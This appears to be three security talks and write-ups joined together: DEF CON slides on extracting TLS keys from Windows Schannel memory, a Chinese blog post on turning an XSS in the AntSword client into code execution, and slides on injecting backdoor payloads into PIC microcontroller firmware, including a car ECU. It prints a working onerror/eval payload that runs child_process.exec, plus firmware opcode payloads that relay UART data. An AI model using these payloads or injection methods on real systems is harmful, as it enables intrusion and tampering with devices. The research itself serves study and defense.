t().DecryptData-->this.DeCompressToBytes --> new BinaryFormatter().Deserialize() --> Attack success
1
0x03
Gadget
Gadget Gadget Ysoserial.NET
iis
aspx shell
0x04
shell payload
payload | pdf |
Cunning with CNG:
Soliciting Secrets from Schannel
DefCon 24
Why you might care
❏
Extracting TLS / SSL Keys (of various types) from memory
❏
Ability to decrypt TLS connections that use ephemeral key exchanges
❏
For anything that uses Schannel: RDP, IE, Powershell, etc...pretty much anything .NET too
❏
Past connections AND Future since the point of the cache is resumption
❏
Undocumented / partially documented structures elucidated
❏
TLS session caches mapped to the requesting processes, with SNIs
❏
A tool that does these things via Volatility/Rekall
❏
A paper that documents these things
i.e. what you get today
How we get there
1.
Briefest of TLS Refreshers
2.
How Schannel Works
3.
The Secrets : }
4.
The Other Forensic Artifacts!
5.
A live demo >.>
< the Agenda
A Disclaimer
❏
This is NOT an exploit
❏
It’s the spec! :D
❏
Microsoft has done nothing wrong
❏
To the contrary, their documentation was actually pretty great
❏
Windows doesn’t track sessions for processes that load their own TLS libs
❏
I’m looking at you Firefox and Chrome
❏
Windows doesn’t track sessions for process that don’t use TLS…
❏
That’d be you teamviewer...
❏
This talk has nothing to do with Chanel
❏
Sorry Aine.
The now
infamous TLS
Handshake
The now
infamous TLS
Handshake
or, Session Resumption
DR;
Perfect Forward Secrecy
What we want to do
❏
One time use keys, no sending secrets!
What TLS actually does
❏
Caches values to enable session resumption
❏
recommends `An upper limit of 24 hours is suggested for session ID lifetimes`
❏
When using the session ticket extension, sending the encrypted state over the network
❏
basically returning to the issue with RSA, but using a more ephemeral key...
What implementations also do
❏
Store symmetric key schedules (so you can find the otherwise random keys...)
❏
Cache ephemeral keys and reuse for a while...
< and what it means to TLS
See these papers: https://technet.microsoft.com/en-us/library/dn786429.aspx
What’s an Schannel?
❏
It’s TLS -> the Secure Channel for
Windows!
❏
A library that gets loaded into the
“key isolation process” and the
“client” process
❏
Technically a Security Support
Provider (SSP)
❏
Spoiler: the key iso proc is LSASS
❏
Microsoft’s CryptoAPI-Next Generation
❏
Introduced in Windows Vista
❏
Provides Common Criteria compliance
❏
Used to store secrets, also crypt them
❏
The KSP & DPAPI for instance
❏
Important / reused keys are “isolated” from
the less privileged/trusted “client”
processes into the “key isolation process”
❏
Ncrypt is the “key storage router” and
gateway to CNG Key Iso service
What the CNG?!
Schannel Cipher Suite Preferences
ListCipherSuites sample code found here: https://technet.microsoft.com/en-us/library/bb870930.aspx
Windows 7
Windows 10
Windows Vista
Schannel
by the docs
Diagram based on: https://technet.microsoft.com/en-us/library/dn786429.aspx
CNG
Key Isolation
by the docs
Diagram based on: https://msdn.microsoft.com/en-us/library/windows/desktop/bb204778.aspx
Matching Session Keys
Basic Premis:
AES Keys are small and random
AES Key Schedules are larger and deterministic by design…they’re a schedule.
Most implementations calculate schedule once and store it*
While a connection is active, both side NEED access to the symmetric keys used
for encryption/verification
*Based on this paper: http://citp.princeton.edu/pub/coldboot.pdf
Matching Session Keys
So I scanned LSASS for cross-matched AES key schedules on both hosts…
And got nothing.
Well, no matches anyway.
RTFM
ALL
V
A friendly neighborhood P.S.A.
This announcement brought to you by an hour of wasted time
Matching Session Keys
RDP MSTSC AES Keys [Client]
RDP SVCHost AES Keys [Server]
FindAES from: http://jessekornblum.com/tools/
The Session Key Structure
❏
Notice the value “3lss”
❏
“3lss” -> “ssl3”
❏
Initially noticed while checking LSASS
structs
❏
Structure is different in LSASS vs client
process
❏
AES Key & Schedule highlighted
❏
Key and schedule appear multiple times in
the same structure
The Session Key Structure
_SSL_SESSION_KEY
4
cbStructLength
4
dwMagic [“ssl3”]
4
dwProtocolVersion
4/8
pvCipherSuiteListEntry
4
IsWriteKey
4/8
pvBcryptKeyStruct
_BCRYPT_KEY
4
cbStructLength
4
dwMagic [“UUUR”]
4/8
pvBcryptProvider
4/8
pvBcryptSymmKey
_MS_SYMMETRIC_KEY
4
cbStructLength
4
dwMagic [“MSSK”]
4
dwKeyType
...
...
4
KeyLength
?
SymmetricKey
?
SymmKeySchedule
The Ncrypt SSL Provider [ ncryptsslp.dll ]
Ncryptsslp Validation function Symbols
Master Key Validation Function Disassembly
These functions do three things:
❏
Check the first dword for a size value
❏
Check the second dword for a magic ID
❏
Return the passed handle* if all is good
*All handles in this case are explicitly pointers
SSL Magic
Size (x86)
Size (x64)
Validation Functions
ssl1
0xE4
0x130
SslpValidateProvHandle
ssl2
0x24
0x30
SslpValidateHashHandle
ssl3
?
?
<none>
ssl4
0x18
0x20
SslpValidateKeyPairHandle
ssl5
0x48
0x50
SslpValidateMasterKeyHandle
ssl6
0x18
0x20
SslpValidateEphemeralHandle
ssl7
?
?
<none>
Ncryptsslp “ssl3” symbols*
Ncryptsslp “ssl7” symbols*
*command output significantly reduced for brevity & clarity
0:000> .foreach(magic {s -[1]a
00007fff`df750000 00007fff`df76f000 3lss}){ln
magic}
ncryptsslp!TlsGenerateSessionKeys+0x251
ncryptsslp!SPSslDecryptPacket+0x43
ncryptsslp!SPSslEncryptPacket+0x43
ncryptsslp!SPSslImportKey+0x19a
ncryptsslp!SPSslExportKey+0x76
ncryptsslp!SPSslFreeObject+0x1b
ncryptsslp!Ssl2GenerateSessionKeys+0x22c
ncryptsslp!Ssl2GenerateSessionKeys+0x294
0:000> lmm schannel
start end module
name
00007fff`ed1e0000 00007fff`ed254000 schannel
0:000> .foreach(magic {s -[1]a
00007fff`df750000 00007fff`df76f000 7lss}){ln
magic}
ncryptsslp!SPSslGenerateMasterKey+0x75
ncryptsslp!SPSslGenerateMasterKey+0x5595
ncryptsslp!SPSslGeneratePreMasterKey+0x15e
ncryptsslp!TlsDecryptMasterKey+0x 6b
>_ Command - Dump C:\Defcon\Exa... - [] X
ssl3 = session key struct
ssl7 = pre-master secret struct?
>_ Command - Dump C:\Defcon\Exa... - [] X
The Master Secret
_SSL_MASTER_SECRET
4
cbStructLength
4
dwMagic [“ssl5”]
4
dwProtocolVersion
0/4
dwUnknown1* [alignment?]
4/8
pvCipherSuiteListEntry
4
bIsClientCache
48
rgbMasterSecret
4
dwUnknown2 [reserved?]
*Not present in x86 - either padding or part of previous member
The Master Secret
*Not present in x86 - either padding or part of previous member
_SSL_MASTER_SECRET
4
cbStructLength
4
dwMagic [“ssl5”]
4
dwProtocolVersion
0/4
dwUnknown1* [alignment?]
4/8
pvCipherSuiteListEntry
4
bIsClientCache
48
rgbMasterSecret
4
dwUnknown2 [reserved?]
Master Secret Mapped to Unique Identifier
❏
The Master Key is linked back to a unique
ID through an “NcryptSslKey”
❏
The NcryptSslKey is referenced by an
“SessionCacheItem”
❏
The SessionCacheItem contains either the
SessionID, or a pointer and length value
for a SessionTicket
At this point, we can identify and decrypt
sessions robustly.
Schannel $
'_SSL_SESSION_CACHE_CLIENT_ITEM': [ 0x140, {
'Vftable': [0x0, ['pointer64', ['void']]],
'NcryptKey': [0x10, ['pointer64', ['void']]],
'PublicCertificate': [0x18, ['pointer64', ['void']]],
'PublicKey': [0x28, ['pointer64', ['void']]],
'NcryptSslProv': [0x60, ['pointer64', ['void']]],
'SessionIdLen': [0x86, ['short short']],
'SessionId': [0x88, ['array', 0x20, ['unsigned char']]],
'ProcessId': [0xa8, ['unsigned long']],
'MaxLifeTime': [0xB0, ['unsigned long']],
'CertSerializedCertificateChain': [0xB0, ['pointer64',
['void']]],
'UnkList1Flink': [0xB8, ['pointer64', ['void']]],
'UnkList1Blink': [0xC0, ['pointer64', ['void']]],
'UnkCacheList2Flink': [0xC8, ['pointer64', ['void']]],
'UnkCacheList2Blink': [0xD0, ['pointer64', ['void']]],
'ServerName': [0xF8, ['pointer64', ['void']]],
'CSessCacheManager': [0x110, ['pointer64', ['void']]],
'SessionTicket': [0x128, ['pointer64', ['void']]],
'SessionTicketLen': [0x130, ['int']],
}],
Under the covers
x64 Volatility VType
V
Schannel $
'_SSL_SESSION_CACHE_SERVER_ITEM': [ 0x110, {
'Vftable': [0x0, ['pointer64', ['void']]],
'NcryptKey': [0x10, ['pointer64', ['void']]],
'NcryptSslProv': [0x60, ['pointer64', ['void']]],
'SessionId': [0x88, ['array', 0x20, ['unsigned char']]],
'ProcessId': [0xa8, ['unsigned long']],
'MaxLifeTime': [0xB0, ['unsigned long']],
'LastError?': [0xE8, ['unsigned long']],
'CSslCredential': [0xF0, ['pointer64', ['void']]],
}],
Under the covers
x64 Volatility VType
V
Schannel $
Under the covers
The Key Pairs
❏
The Server & Ephemeral Key Pairs use
an identical structure
❏
The Key Type is compared with
different values
❏
ssl6 gets compared with a list stored in
bcryptprimitives
❏
ssl4 gets compared with a list stored in
NCRYPTPROV
❏
The Key Storage Provider Key (KPSK)
is referenced indirectly through an
“Ncrypt Key” struct*
_SSL_KEY_PAIR
4
cbStructLength
4
dwMagic [“ssl4” | “ssl6” ]
4
dwKeyType
4
dwUnknown1 [alignment?]
4/8
pvKspProvider
4/8
pvKspKey
*Not to be confused with an NcryptSslKey struct
_NCRYPT_KEY
4
cbStructLength
4
dwMagic [ 0x44440002 ]
4
dwKeyType
4
dwUnknown1 [alignment?]
4/8
pvKspProvider
4/8
pvKspKey
_KSP_KEY
4
cbStructLength
4
dwMagic [ “KSPK” ]
4
dwKeyType
...
...
4/8
pvDpapiBlob
4/8
pvMSKY
The Ephemeral Key Data
❏
Public Key is referenced by schannel!
CEphemKeyData
❏
Private Key is not stored in natively usable
format, but is accessible
❏
The KPSK structure pointed to references
another structure with the magic “MSKY”
that appears to be the EccKey structure
❏
The KPSK structure has details about the
curve selection / other valuable info
The Server (RSA) Private Key
❏
KSPK structure pointed to by the server
key mostly resembles the file from disk
❏
The public information is parsed into fields
❏
The DPAPI protected private key blob is
loaded into memory
The Server (RSA) Private Key
Windows Vista
'_SSL_SESSION_CACHE_CLIENT_ITEM': [ 0xf0, {
'Flink': [0x0, ['pointer', ['void']]],
'Blink': [0x4, ['pointer', ['void']]],
'ProcessId': [0x8, [['unsigned long']],
'MasterKey': [0x14, ['pointer', ['NcryptSslKey']]],
'CipherSuiteId': [0x1C, ['pointer', ['void']]],
'ECCurveParam': [0x20, ['pointer', ['void']]],
'NcryptSslProv': [0x28, ['pointer', ['void']]],
'PublicCertificate': [0x2C, ['pointer', ['void']]],
'PublicCert2': [0x34, ['pointer', ['void']]],
'PublicKeyStruct': [0x3C, ['pointer', ['void']]],
'PublicCertStruct3': [0x44, ['pointer', ['void']]],
'ServerName': [0x80, ['pointer', ['void']]],
'SessionIdSize': [0x94, ['short short']],
'SessionId': [0x98, ['array', 0x20, ['unsigned char']]],
'ErrorCode': [0xEC, ['pointer64', ['void']]],
}],
❏
CNG was introduced in Vista
❏
The Vista cache is different
❏
It’s kinda proto-CNG
❏
Prior to Ncryptsslp (Sslp functions are in
Ncrypt)
❏
Instead of Classes, the cache is just a
doubly-linked list
❏
No RFC5088 support (no tickets)
x86 Volatility VType
V
Windows Vista
The Forensic Context
❏
Active Connection = Security Context
❏
ProcessID for client process stored
❏
Server Name Indicator (SNI) stored in the
cache as well
❏
Cache Lifetime of 10 hours
❏
Session IDs are arbitrary, but not always
random
❏
Schannel is the perfect example, can be
fingerprinted
❏
If the system is a client, why would it have
a server cache?
❏
RDP for one, almost guaranteed to live 10
hours (unless there are 20,000
connections afterward)
Global Schannel Variables of Significance:
schannel!CSslGlobals::m_dwMaximumEntries
schannel!CSslGlobals::m_dwClientLifespan
schannel!CSslGlobals::m_dwServerLifespan
schannel!CSslGlobals::m_dwSessionTicketLifespan
Extracting the Secrets
❏
Volatility & Rekall plugins
❏
By default (no args):
❏
will automatically find lsass
❏
will scan the heap
❏
Can be configured to scan
Writeable VADs, or full VAS
❏
dumps to stdout in wireshark format
❏
Can dump verbose object as json
❏
Hoping to have functionality integrated into
PowerShell module soon
❏
Got busy : <
Decrypting an RDP Session (Ephemeral XCHG)
Keycodes from: https://msdn.microsoft.com/en-us/library/aa299374.aspx
H
e
l
l
o
<space>
D
e
f
c
0
n
“
”
Decrypting an RDP Session (Ephemeral XCHG)
DOMO TIME
E
Fin
@TinRabbit_
Questions?
Special Thanks
❏
Áine Doyle - Badass Extraordinaire (OCSC)
❏
Dr. John-Ross Wallrabenstein - Sypris Electronics
❏
Dr. Marcus Rogers - Purdue Cyber Forensics Laboratory
❏
Michael Hale Ligh (MHL) - Volexity
❏
Tatiana Ringenberg - Sypris Electronics
For general support, helpful comments, their time, and encouragement. | pdf |
0x01 前言
中午在学校午休，就看了 @忍酱 的反制Goby， @暗羽师傅 的反制Burpsuite还有 @先知社区 里的反制蚁
剑, @f4ltJ4y 的蚁剑复现，挑起了我想反制的心！
蚁剑版本: 2.1.12
0x02 虚假XSS
蚁剑是自带浏览器的，用的是Chrome！本想着暗羽师傅的那篇可以用得到，发现版本不对
发现它调用了dhtmlx框架，可以解析HTML
正是因为这个虚假的XSS，更加激发了我想RCE的心！
我们可以参考：
https://xz.aliyun.com/t/8167
<img src=1 onerror=alert(1)>
0x03 放弃RCE
我在想既然有内置浏览器，那么 Chromium浏览器 版本是否存在漏洞呢？
我们先得获取Chromuim版本
如上图，谷歌浏览器的产品代号为"Mozilla"
上图已知， Chrome/69.0.3497.106 Electron/4.0.3
我们查找相对应的远程代码执行的漏洞！
# Console
navigator.appCodeName
navigator.appVersion
"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
antsword/2.1.12 Chrome/69.0.3497.106 Electron/4.0.3 Safari/537.36"
已关闭沙箱
通过万能的百度我找到一个 Google Chrome < = 87.0.4280.88 远程代码执行
尝试后，我实在是想不明白这个DevTools怎么搞，我想尝试别的版本，高版本低版本我都试过了，都是
同一个问题！希望有师傅能够解惑，我太菜了。
0x04 Self-RCE
峰回路转，本来我是打算放弃的，就随便点点插件里的内容。我是原先有下载一个Redis管理的插件的
# 参考文档:
https://www.cnblogs.com/ethtool/p/14652420.html
https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js
直接通过HTML的方式解析
https://github.com/AntSword-
Store/AS_Redis/blob/fac78f9605c4cee4d863b1c68a368916dc854051/libs/core.js
阅读了这个插件的源代码，发现并没有过滤以及加以限制，而且 dhtmlx 解析，这应该是蚁剑开发的标
准要求
<img src=1 onerror=alert(1)>
'use strict'
class Core {
constructor(ShellCore, opt = {}) {
this.ShellCore = ShellCore;
this.host = opt['host'] || "127.0.0.1:6379";
}
setHost(host) {
this.host = host;
}
// 将 buffer 转为 base64 string
encode(buffer) {
return Buffer.from(buffer).toString('base64');
}
decode(str) {
if (str.indexOf('ERROR://') > -1) {
throw new Error(str);
}
let b64buff = Buffer.from(str, 'base64');
if (b64buff.toString().indexOf('ERROR://') > -1) {
throw new Error(b64buff.toString());
}
return b64buff;
}
get template() {
let that = this
return {
'php': (cmdbuf) => {
return {
_: `$cmd=base64_decode("${that.encode(cmdbuf)}");
$conn=@stream_socket_client("tcp://${that.host}", $errno, $errstr, $timeout=30);
if(!$conn){
echo "LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ=";
}else{
@fwrite($conn,$cmd,strlen($cmd));
$resp=@fread($conn, 8196);
@stream_set_blocking($conn,0);
while($buf=@fread($conn,8196)){$resp.=$buf;}
stream_set_blocking($conn, 1);
echo base64_encode($resp);
@stream_socket_shutdown($conn,STREAM_SHUT_RDWR);
@fclose($conn);
}`
}
},
'asp': (cmdbuf) => {
return {
_: ``
}
},
'aspx': (cmdbuf) => {
return {
_: `try{
var ipAddress = "${that.host.split(':')[0]}";
var portNum = ${that.host.split(':')[1]};
var sendbytes = System.Convert.FromBase64String("${that.encode(cmdbuf)}");
var remoteEndPoint = new
System.Net.IPEndPoint(System.Net.IPAddress.Parse(ipAddress), portNum);
var client = new System.Net.Sockets.Socket(
System.Net.Sockets.AddressFamily.InterNetwork,
System.Net.Sockets.SocketType.Stream,
构造 Self-RCE
结合蚁剑的以下特点：
解析HTML时，不能使用单引号或双引号，否则会出现语法混乱
HTML源码和流量中均有Payload，导致攻击方很容易被反制,在执行命令后需要删除当前HTML节
点，并对流量进行加密。
System.Net.Sockets.ProtocolType.Tcp
);
client.Connect(remoteEndPoint);
client.Send(sendbytes);
var recvStr = "";
var bytes = 0;
var receiveBuffer = new byte[1024];
do {
bytes = client.Receive(receiveBuffer, receiveBuffer.Length,
System.Net.Sockets.SocketFlags.None);
recvStr += System.Text.Encoding.UTF8.GetString(receiveBuffer, 0, bytes);
}while (bytes == 1024);
client.Shutdown(System.Net.Sockets.SocketShutdown.Both);
client.Close();
Response.Write(System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(
recvStr)));
} catch (err) {
Response.Write(System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(
"ERROR:// " + err.message)));
}
`
}
},
'jsp': (cmdbuf) => {
return that.ShellCore.other.redisconn({
addr: that.host,
context: cmdbuf
})
}
}
}
}
module.exports = Core;
a="require('child_process').exec('calc.exe')"
b=""
for(i=0;i<a.length;i++)
b = b + "," +a.charCodeAt(i)
使用 JavaScript Obfuscator 对payload进行混淆,为了方便我这里就不混淆了
在Console执行得到处理后的payload
0x05 结尾
到目前还没有完整的反制，因为Self-RCE在实战当中并没有价值，只能自己装装逼！我要更深入的探索
一番，如有后续会尽快更新出来，没有消息则是我太菜研究不出来！
<img src=1
onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1
08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99,
46,101,120,101,39,41))"> | pdf |
Backdooring hardware devices
by injecting malicious payloads
on microcontrollers_
By Sheila A. Berta (@UnaPibaGeek)
@UnaPibaGeek
WHO AM I?_
Sheila A. Berta (@UnaPibaGeek)
Offensive Security Researcher
@UnaPibaGeek
WHO AM I?_
Sheila A. Berta (@UnaPibaGeek)
Offensive Security Researcher
A little bit more:
-
Developer in ASM (Microcontrollers & Microprocessors x86/x64), C/C++, Python and Go.
-
Speaker at Black Hat (x2), DEF CON (x2), Ekoparty (x4), HITB, PhDays, IEEE… & more.
@UnaPibaGeek
@UnaPibaGeek
@UnaPibaGeek
MICROCONTROLLERS VS MICROPROCESSORS_
Microprocessors
Intel, AMD, ARM
…
Microcontrollers
Microchip, ATMEL, ST
…
@UnaPibaGeek
MICROPROCESSORS OVERVIEW_
• Microprocessors = CPU
• Memories and I/O busses are physically separated.
• Usually bigger than a microcontroller.
• Greater processing capacity.
• Modified-Harvard memory organization.
• 32 or 64 bits (most common).
@UnaPibaGeek
MICROCONTROLLERS OVERVIEW_
• Microcontrollers = CPU + RAM + ROM + I/O busses
• Smaller CPU with less processing capacity.
• Usually smaller size than microprocessors.
• Harvard memory organization.
• 16 bits (most common).
• A little stack.
@UnaPibaGeek
USE CASES_
!=
Raspberry PI
ARM Microprocessor
Arduino UNO
Atmega Microcontroller
@UnaPibaGeek
MICROCONTROLLERS EVOLUTION_
@UnaPibaGeek
MICROCONTROLLERS EVOLUTION_
@UnaPibaGeek
MICROCONTROLLERS EVOLUTION_
@UnaPibaGeek
MICROCONTROLLERS EVOLUTION_
@UnaPibaGeek
IS WORTH IT?_
• Physical Security Systems.
• Car’s ECU.
• Semaphores.
• Elevators.
• Sensors.
• Modules of Industrial systems.
• Home appliances.
• Robots.
• …
@UnaPibaGeek
MICROCONTROLLERS
PROGRAMMING_
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
ASM code to turning on a LED - (PIC)
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
ASM code to turning on a LED - (PIC)
MPLAB X IDE
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
ASM code to turning on a LED - (PIC)
MPLAB X IDE
.hex file (firmware)
@UnaPibaGeek
MICROCONTROLLERS PROGRAMMING_
Microchip (PIC) programmer software
Microchip (PIC) programmer hardware
@UnaPibaGeek
PROGRAM MEMORY
DUMP_
@UnaPibaGeek
PIC MEMORY ORGANIZATION_
non-volatile
non-volatile
volatile
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 1)_
Connection from PIC microcontroller to PICKIT 3
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 2)_
Using MPLAB X IDE to read (and dump) the program memory
1
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 2)_
Using MPLAB X IDE to read (and dump) the program memory
1
2
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 2)_
Using MPLAB X IDE to read (and dump) the program memory
1
2
3
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 2)_
Using MPLAB X IDE to read (and dump) the program memory
1
2
3
4
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 3)_
Load the .hex file in the MPLAB X IDE
@UnaPibaGeek
PROGRAM MEMORY DUMP (STEP 3)_
Load the .hex file in the MPLAB X IDE
@UnaPibaGeek
CODE VS DISASSEMBLY (EXAMPLE)_
ASM source code
Disassembly
@UnaPibaGeek
CODE VS DISASSEMBLY (EXAMPLE)_
OpCodes in the .hex dump
ASM source code
Disassembly
@UnaPibaGeek
PAYLOAD INJECTION:
AT THE ENTRY POINT_
@UnaPibaGeek
PROGRAM STANDARD STRUCTURE (PIC)_
Reset Vector: always at 0x0000 memory address
Interrupt Vector: at 0x0008 and 0x0018 memory addresses
Program entry point
@UnaPibaGeek
LOCATING THE ENTRY POINT_
@UnaPibaGeek
LOCATING THE ENTRY POINT_
Entry point
Simple program example
@UnaPibaGeek
LOCATING THE ENTRY POINT_
Entry point
Simple program example
Large program example
@UnaPibaGeek
LOCATING THE ENTRY POINT_
Entry point
Simple program example
Large program example
Example 1 -- Entry point: 0x06
Example 2 -- Entry point: 0x7F84
Memory address to inject
Memory address to inject
@UnaPibaGeek
GENERATING THE PAYLOAD #1 (PoC)_
BCF
TRISD,1
// Set PIN as output
BSF
PORTD,1
// Turn ON a LED
BCF
TRISD,2
// Set PIN as output
BSF
PORTD,2
// Turn ON a LED
@UnaPibaGeek
GENERATING THE PAYLOAD #1 (PoC)_
BCF
TRISD,1
// Set PIN as output
BSF
PORTD,1
// Turn ON a LED
BCF
TRISD,2
// Set PIN as output
BSF
PORTD,2
// Turn ON a LED
@UnaPibaGeek
GENERATING THE PAYLOAD #1 (PoC)_
BCF
TRISD,1
// Set PIN as output
BSF
PORTD,1
// Turn ON a LED
BCF
TRISD,2
// Set PIN as output
BSF
PORTD,2
// Turn ON a LED
0x9295 = BCF TRISD,1
0x8283 = BSF
PORTD,1
0x9495 = BCF TRISD,2
0x8483 = BSF PORTD,2
@UnaPibaGeek
GENERATING THE PAYLOAD #1 (PoC)_
BCF
TRISD,1
// Set PIN as output
BSF
PORTD,1
// Turn ON a LED
BCF
TRISD,2
// Set PIN as output
BSF
PORTD,2
// Turn ON a LED
0x9295 = BCF TRISD,1
0x8283 = BSF
PORTD,1
0x9495 = BCF TRISD,2
0x8483 = BSF PORTD,2
Little Endian: 0x9592 0x8382 0x9594 0x8384
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28
Original program memory (.hex dump)
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28
Original program memory (.hex dump)
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28
Original program memory (.hex dump)
Entry point offset
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28
Original program memory (.hex dump)
Entry point offset
Checksum
@UnaPibaGeek
INJECTING THE PAYLOAD_
Entry point at 0x28
Original program memory (.hex dump)
Entry point offset
Checksum
Payload injected at entry point (0x28)
@UnaPibaGeek
CHECKSUM RECALCULATION_
Sum(bytes on the line) = Not +1 = checksum
@UnaPibaGeek
CHECKSUM RECALCULATION_
Sum(bytes on the line) = Not +1 = checksum
Example: :1000000003EF00F00000959E838E836A000E956E
@UnaPibaGeek
CHECKSUM RECALCULATION_
Sum(bytes on the line) = Not +1 = checksum
Example:
10+00+00+00+03+EF+00+F0+00+00+95+9E+83+8E+83+6A+00+0E+95+6E = 0x634
Not(0x634) +1 = 0xFFFF 0xFFFF 0xFFFF 0xF9CC
Checksum = 0xCC
:1000000003EF00F00000959E838E836A000E956E
@UnaPibaGeek
CHECKSUM RECALCULATION_
https://www.fischl.de/hex_checksum_calculator/
@UnaPibaGeek
CHECKSUM RECALCULATION_
https://www.fischl.de/hex_checksum_calculator/
Payload injected and checksum fixed
@UnaPibaGeek
WRITE THE PROGRAM MEMORY_
@UnaPibaGeek
BEFORE / AFTER (PoC)_
Original
@UnaPibaGeek
BEFORE / AFTER (PoC)_
Original
Payload injected
@UnaPibaGeek
INJECTING TO A CAR’S ECU_
IGNITION
KEY
@UnaPibaGeek
INJECTING TO A CAR’S ECU_
IGNITION
KEY
Entry point: 0x152A
@UnaPibaGeek
INJECTING TO A CAR’S ECU_
IGNITION
KEY
Entry point: 0x152A
@UnaPibaGeek
ADVANCED
PAYLOAD INJECTION:
AT THE INTERRUPT VECTOR_
@UnaPibaGeek
PERIPHERALS AND INTERRUPTIONS_
•
Internal timers
•
A/D converters
•
CCP (Capture/Compare/PWM)
•
TX/RX busses
•
Others
@UnaPibaGeek
PERIPHERALS AND INTERRUPTIONS_
•
Internal timers
•
A/D converters
•
CCP (Capture/Compare/PWM)
•
TX/RX busses
•
Others
@UnaPibaGeek
GIE AND PEIE BITS_
@UnaPibaGeek
GIE AND PEIE BITS_
BSF
INTCON, GIE
// Set GIE to 1
BSF
INTCON, PEIE
// Set PEIE to 1
@UnaPibaGeek
GIE AND PEIE BITS_
BSF
INTCON, GIE
// Set GIE to 1
BSF
INTCON, PEIE
// Set PEIE to 1
Interruptions enabled
@UnaPibaGeek
INTERRUPTION FLAGS_
Timer0
Interruption Enabled
Timer0
Interruption Flag
@UnaPibaGeek
INTERRUPTION FLAGS_
Timer0
Interruption Enabled
Timer0
Interruption Flag
XXIE = Interruption Enabled
XXIF = Interruption Flag
@UnaPibaGeek
INTERRUPTION FLAGS_
Timer0
Interruption Enabled
Timer0
Interruption Flag
XXIE = Interruption Enabled
XXIF = Interruption Flag
Registers PIE1, PIE2 and PIE3 have interruption enabling bits
Registers PIR1, PIR2 and PIR3 have interruption flags bits
@UnaPibaGeek
POLLING INSPECTION_
@UnaPibaGeek
POLLING INSPECTION_
Interrupt vector
Polling
@UnaPibaGeek
POLLING INSPECTION_
PIR1, 5
@UnaPibaGeek
POLLING INSPECTION_
PIR1, 5
PIR1, 5 = PIR1, RCIF
@UnaPibaGeek
POLLING INSPECTION_
PIR1, 5
PIR1, 5 = PIR1, RCIF
Call to RC interruption routine
@UnaPibaGeek
MEMORY ADDRESSES TO INJECT A PAYLOAD_
0x48 to inject a payload at the RC interruption
0x4E to inject a payload at Timer0 interruption
0x56 to inject a payload at the AD interruption
0x5E to inject a payload at the INT0 interruption
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 1: locate where the RC interruption routine begins (by inspecting the polling)
Call to RC interruption routine
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 1: locate where the RC interruption routine begins (by inspecting the polling)
Call to RC interruption routine
0x48
RC interruption routine begins
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 2: Cook a payload that makes a relaying of the received data to a TX
peripheral which we are able to monitor externally (example)
MOVF RCREG, W
// Move the received data to “W” register
BSF TXSTA, TXEN
// Enable transmission
BCF TXSTA, SYNC
// Set asynchronous operation
BSF RCSTA, SPEN
// Set TX/CK pin as an output
MOVWF TXREG
// Move received data (in W) to TXREG to be re-transmitted
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 2: Cook a payload that makes a relaying of the received data to a TX
peripheral which we are able to monitor externally (example)
MOVF RCREG, W
// Move the received data to “W” register
BSF TXSTA, TXEN
// Enable transmission
BCF TXSTA, SYNC
// Set asynchronous operation
BSF RCSTA, SPEN
// Set TX/CK pin as an output
MOVWF TXREG
// Move received data (in W) to TXREG to be re-transmitted
0xAE50 0xAC8A 0xAC98 0xAB8E 0xAD6E
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 3: lnject the payload where the RC interruption routine begins
0x48
RC interruption routine begins
Backdoor
@UnaPibaGeek
BACKDOORING THE EUSART COMMUNICATION
PERIPHERAL_
Step 3: lnject the payload where the RC interruption routine begins
0x48
RC interruption routine begins
Backdoor
@UnaPibaGeek
FIXING JUMPS: FLOW CORRUPTION_
Original program
Program after
payload injection
@UnaPibaGeek
FIXING JUMPS: GOTO AND CALL OPCODES_
GOTO opcode = 0xEF
CALL opcode = 0xEC
NOP opcode = 0xF0
@UnaPibaGeek
FIXING JUMPS: GOTO AND CALL OPCODES_
GOTO opcode = 0xEF
CALL opcode = 0xEC
NOP opcode = 0xF0
EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address).
EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address).
@UnaPibaGeek
FIXING JUMPS: GOTO AND CALL OPCODES_
GOTO opcode = 0xEF
CALL opcode = 0xEC
NOP opcode = 0xF0
EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address).
EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address).
Jump to 0x8CE (memory address) / 2 = 0x0467 offset
@UnaPibaGeek
FIXING JUMPS: RECALCULATION_
Payload injected at memory address: 0x48
Payload length: 10 bytes
@UnaPibaGeek
FIXING JUMPS: RECALCULATION_
Payload injected at memory address: 0x48
Payload length: 10 bytes
Example:
CALL 0x56 (EC2B F000)
CALL 0x60 (EC30 F000)
Fixed jump
Original offset + payload length
Original jump
@UnaPibaGeek
FIXING JUMPS: RECALCULATION_
Payload injected at memory address: 0x48
Payload length: 10 bytes
Example:
CALL 0x56 (EC2B F000)
